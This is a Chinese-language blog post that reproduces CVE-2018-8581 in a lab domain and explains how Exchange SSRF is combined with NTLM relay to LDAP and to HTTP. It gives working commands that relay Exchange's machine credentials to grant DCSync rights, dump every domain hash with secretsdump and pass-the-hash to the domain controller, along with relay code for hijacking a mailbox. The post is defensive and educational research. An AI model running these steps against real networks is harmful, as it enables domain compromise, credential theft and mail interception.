Yoga7xm's Blog

Exchange SSRF漏洞利用及分析

字数统计: 1.6k阅读时长: 6 min
2020/01/15 Share

Abstruct

CVE-2018-8581这个洞是去年提出来的,攻击手法非常经典,较为全面的使用了NTLM中继攻击,值得去复现分析一波的Orz

环境搭建

首先需要搭建一个域环境,然后在另一台server12的域成员机器中安装Exchange2013

Exchage2013 下载链接(迅雷创建任务下载):exe

Exchange 详细安装步骤参考:传送门

最终拓扑:

  • DC
    • Server12:dc.yoga.com —— 192.168.134.10
  • 域成员机
    • Server12:exchange.yoga.com —— 192.168.134.40
  • Attack
    • Kali:192.168.134.128
    • Win10:192.168.134.1

【注】:

  1. 安装Exchange2013时,尽量使用域管账号登录否则可能会报错
  2. 安装完成之后进入exchange管理中心,添加一个普通域成员邮箱账号lucy@yoga.com

漏洞利用

Pown DC

Kali使用impacket工具包中的ntlmrelayx进行Relay2LDAP

1
python examples/ntlmrelayx.py -t ldap://192.168.134.10 --escalate-user lucy

kali下openssl新版本对exchange自签名证书存在Bug,无法连接服务,会报Connection reset by peer错误,所以我们这里在Win10下使用提权脚本PrivExchange.py

1
python2 privexchange.py -ah 192.168.134.128 192.168.134.40 -u lucy -p "123qweASD!" -d Yoga -ev 2013 --debug

【注】:ah指定relay的机器ip

执行成功之后,我们来看ntlmrelayx

成功写入ACL,lucy拥有DCSync权限,然后调用impacket工具包的secretsdump.py导出域内全部hash

1
python secretsdump.py YOGA/lucy@192.168.134.10 -just-dc

拿到NTLM Hash,利用PtH直接打域控

1
2
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:dd60e0a4f6eae9509c4a8f9b5
075c65a Yoga/administrator@192.168.134.10 "whoami"

伪造用户

首先获取目标用户的SID,这里是用CVE-2018-8581.py的思路,通过添加委派代理人的API,可以在Response中拿到对方的SID

然后在serverHTTP_relayNTLM.py中配置相关参数,并运行监听端口

然后运行之前的privexchange.py发送

1
python2 privexchange.py -ah 192.168.134.1 -ap 8080 192.168.134.40 -u qwer -p "qweasd123!" -d Yoga -ev 2013 --debug

发送SSRF请求成功之后,我们需要一些其他的事件来触发推送通知操作,这里新建一个文件夹tmp,之后来看监听的serverHTTP_relayNTLM.py

出现SUCCESS说明成功通过身份调用接口成功。然后我们在Kali上用其他账户Administrator对目标邮箱bob发送一封测试邮件

回到qwer这里,可以看见邮件已经转发给自己了

结合官方给出EWS接口构造POST数据包能够进行更多的邮件操作:传送门

漏洞分析

漏洞起因

这个攻击手法是用SSRF+NTLM身份验证缺陷来做的

SSRF位于PushSubScription接口处,从Request中取出URL然后存入clientUrl,后续进行Notification消息发送的时候,直接传入clientUrl

NTLM身份验证缺陷问题出在exchange使用CredentialCache.DefaultCredentials建立连接

The DefaultCredentials property applies only to NTLM, negotiate, and Kerberos-based authentication.

DefaultCredentials represents the system credentials for the current security context in which the application is running. For a client-side application, these are usually the Windows credentials (user name, password, and domain) of the user running the application. For ASP.NET applications, the default credentials are the user credentials of the logged-in user, or the user being impersonated.

此处的CredentialCache.DefaultCredentials在exchange web服务中是以System权限运行的,这就会导致exchange服务器将生成的Response发送给用户指定的服务器,与此同时,机器用户exchange$所在组Exchange Trusted Subsystem具备Write-ACL的权限,也就是将自定义ACE写入目标对象的DACL的权限,这样我们就能向任意用户添加DCsync权限实现提权操作。

此外,对于跨协议的Relay,SMB签名可以拿来防御,但是LDAP默认是协商签名并不是强制签名;HTTP也不需要签名。


HTTP -> LDAP

首先来看Privexchange.py的实现,进行初始化连接,与EWS建立HTTPS/HTTP连接

https.png

调用ntlm生成Type1消息,然后夹在Authorization头部带着恶意的SOAP数据传给EWS

WWW-Authenticate匹配出EWS返回的Challenge,然后调用ntlm并传入type1、challenge、用户名、密码、域名等计算出Response,同样夹在Authorization头部带着包含恶意URL的SOAP数据发送给EWS进行验证

如果通过EWS通过验证返回NoError,会开始与传入的恶意URL进行NTLM身份验证,此处就通过HTTP将Challenge-Response Relay到LDAP,实现向域内添加以下两条ACL,受托人指定为目标域用户(lucy)

1
2
'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

NTLM_NEGOTIATE

第一次访问Kali Relay时,返回401未认证状态和WWW-Authenticate:NTLM响应头,Exchange收到之后就开始调用NTLM SSP生成Type 1消息,然后发送给攻击者Kali服务端。Kali收到后将其重放给DC,用作LDAP身份验证的Type 1消息

Challenge

DC接收到由Kali发来的Type 1消息,然后传入NTLMSSP拿到Challenge并返回给Kali,后者将其作为HTTP响应传回给Exchange

Response

Exchange根据Challenge计算出Net NTLMv2-Hash,然后放在HTTP请求头Auth传给Kali,后者将其重放给DC进行最后的验证

Kali通过了DC的身份验证,就能以Exchange$身份去添加ACL

简单画了一个流程图


HTTP -> HTTP

privexchange前面说过,按下不表。我们来看触发订阅通知之后serverHTTP_relayNTLM主要流程

从EWS订阅功能向Relay服务器发送的请求头部中取出NEGOTIATE,然后加入Authorization头部去访问EWS

1
2
3
4
5
6
7
8
9
10
11
12
def get_ntlm_challenge(ntlm_negotiate):
headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
conn.request("POST", URL, body, headers)
response = conn.getresponse()
resp_data = response.read().decode("utf-8")
if response.status == 401:
Nonce = response.getheader("WWW-Authenticate")
return Nonce
.......
ntlm_challenge = get_ntlm_challenge(ntlm_negotiate)
self.send_response(401)
self.send_header('WWW-Authenticate:',ntlm_challenge)

从Response Header头部匹配出Challenge,然后作为响应头WWW-Authenticate返回给EWS订阅功能

EWS收到Challenge之后,调用NTLM_SSP计算出Response然后返回给Relay Web服务,后者返回401状态

Relay Web服务拿到Response之后,放入请求头发往EWS,验证通过后就会以目标账户的身份调用UpdateInboxRules接口完成攻击

这里说下注册表的loopback check,值为0就会判断内存SSP中的Type3缓存消息和外部其他计算机发送给自身的Type3是否相同,如果相同就会被认定为反射攻击;默认值为1

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck

流程图(借天融信Blog,非常详细!!):

Reference

https://www.anquanke.com/post/id/168337

http://blog.topsec.com.cn/%e5%a4%a9%e8%9e%8d%e4%bf%a1%e5%85%b3%e4%ba%8emicrosoft-exchange%e4%bb%bb%e6%84%8f%e7%94%a8%e6%88%b7%e4%bc%aa%e9%80%a0%e6%bc%8f%e6%b4%9e%ef%bc%88cve-2018-8581%ef%bc%89%e5%88%86%e6%9e%90/

https://0kee.360.cn/blog/microsoft-exchange-cve-2018-8581/

https://www.cnblogs.com/jianyus/p/3170732.html

https://docs.microsoft.com/zh-cn/exchange/client-developer/web-service-reference/ews-operations-in-exchange

CATALOG
  1. 1. Abstruct
  2. 2. 环境搭建
  3. 3. 漏洞利用
    1. 3.1. Pown DC
    2. 3.2. 伪造用户
  4. 4. 漏洞分析
    1. 4.1. 漏洞起因
    2. 4.2. HTTP -> LDAP
    3. 4.3. HTTP -> HTTP
  5. 5. Reference